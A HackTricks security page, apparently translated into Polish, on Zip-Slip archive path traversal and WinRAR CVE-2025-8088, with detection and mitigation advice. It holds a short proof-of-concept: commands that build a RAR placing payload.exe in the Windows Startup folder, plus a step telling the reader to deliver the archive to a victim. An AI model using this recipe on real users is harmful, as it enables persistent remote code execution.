Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
Reading time: 4 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Overview
Wiele formatów archiwów (ZIP, RAR, TAR, 7-ZIP itp.) pozwala każdemu wpisowi na posiadanie własnej wewnętrznej ścieżki. Gdy narzędzie do ekstrakcji bezmyślnie honoruje tę ścieżkę, stworzona nazwa pliku zawierająca ..
lub ścieżkę absolutną (np. C:\Windows\System32\
) zostanie zapisana poza wybranym przez użytkownika katalogiem. Ta klasa podatności jest powszechnie znana jako Zip-Slip lub przechodzenie ścieżki ekstrakcji archiwum.
Konsekwencje wahają się od nadpisywania dowolnych plików po bezpośrednie osiągnięcie zdalnego wykonania kodu (RCE) poprzez umieszczenie ładunku w lokalizacji auto-run, takiej jak folder Startup systemu Windows.
Root Cause
- Atakujący tworzy archiwum, w którym jeden lub więcej nagłówków plików zawiera:
- Relatywne sekwencje przejścia (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe
) - Ścieżki absolutne (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe
)
- Ofiara wyodrębnia archiwum za pomocą podatnego narzędzia, które ufa osadzonej ścieżce zamiast jej oczyszczać lub wymuszać ekstrakcję poniżej wybranego katalogu.
- Plik jest zapisywany w lokalizacji kontrolowanej przez atakującego i wykonywany/ładowany następnym razem, gdy system lub użytkownik wywoła tę ścieżkę.
Real-World Example – WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR dla systemu Windows (w tym rar
/ unrar
CLI, DLL i przenośne źródło) nie zweryfikował nazw plików podczas ekstrakcji. Złośliwe archiwum RAR zawierające wpis taki jak:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
skończyłby na zewnątrz wybranego katalogu wyjściowego i wewnątrz folderu Startup użytkownika. Po zalogowaniu Windows automatycznie wykonuje wszystko, co się tam znajduje, zapewniając trwałe RCE.
Tworzenie PoC Archiwum (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
Opcje użyte:
-ep
– przechowuj ścieżki plików dokładnie tak, jak podano (nie przycinaj wiodącego./
).
Dostarcz evil.rar
ofierze i poinstruuj ją, aby rozpakowała go za pomocą podatnej wersji WinRAR.
Obserwowana Eksploatacja w Naturze
ESET zgłosił kampanie spear-phishingowe RomCom (Storm-0978/UNC2596), które dołączały archiwa RAR wykorzystujące CVE-2025-8088 do wdrażania dostosowanych backdoorów i ułatwiania operacji ransomware.
Wskazówki dotyczące wykrywania
- Inspekcja statyczna – Wypisz wpisy archiwum i oznacz wszelkie nazwy zawierające
../
,..\\
, ścieżki bezwzględne (C:
) lub niekanoniczne kodowania UTF-8/UTF-16. - Ekstrakcja w piaskownicy – Rozpakuj do jednorazowego katalogu za pomocą bezpiecznego ekstraktora (np.
patool
w Pythonie, 7-Zip ≥ najnowsza wersja,bsdtar
) i zweryfikuj, czy wynikowe ścieżki pozostają w katalogu. - Monitorowanie punktów końcowych – Powiadom o nowych plikach wykonywalnych zapisanych w lokalizacjach
Startup
/Run
krótko po otwarciu archiwum przez WinRAR/7-Zip itd.
Łagodzenie i Wzmocnienie
- Zaktualizuj ekstraktor – WinRAR 7.13 wdraża odpowiednią sanitację ścieżek. Użytkownicy muszą ręcznie go pobrać, ponieważ WinRAR nie ma mechanizmu automatycznej aktualizacji.
- Rozpakowuj archiwa z opcją „Ignoruj ścieżki” (WinRAR: Rozpakuj → "Nie rozpakowuj ścieżek") gdy to możliwe.
- Otwieraj nieufne archiwa w piaskownicy lub VM.
- Wdrażaj białą listę aplikacji i ogranicz dostęp do zapisu użytkowników do katalogów auto-uruchamiania.
Dodatkowe przypadki dotknięte / historyczne
- 2018 – Ogromne Zip-Slip ostrzeżenie od Snyk dotyczące wielu bibliotek Java/Go/JS.
- 2023 – 7-Zip CVE-2023-4011 podobne przejście podczas łączenia
-ao
. - Jakakolwiek niestandardowa logika ekstrakcji, która nie wywołuje
PathCanonicalize
/realpath
przed zapisem.
Odnośniki
- BleepingComputer – Wykorzystanie zero-day WinRAR do zainstalowania złośliwego oprogramowania podczas ekstrakcji archiwum
- WinRAR 7.13 Zmiany
- Snyk – Opis podatności Zip Slip
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.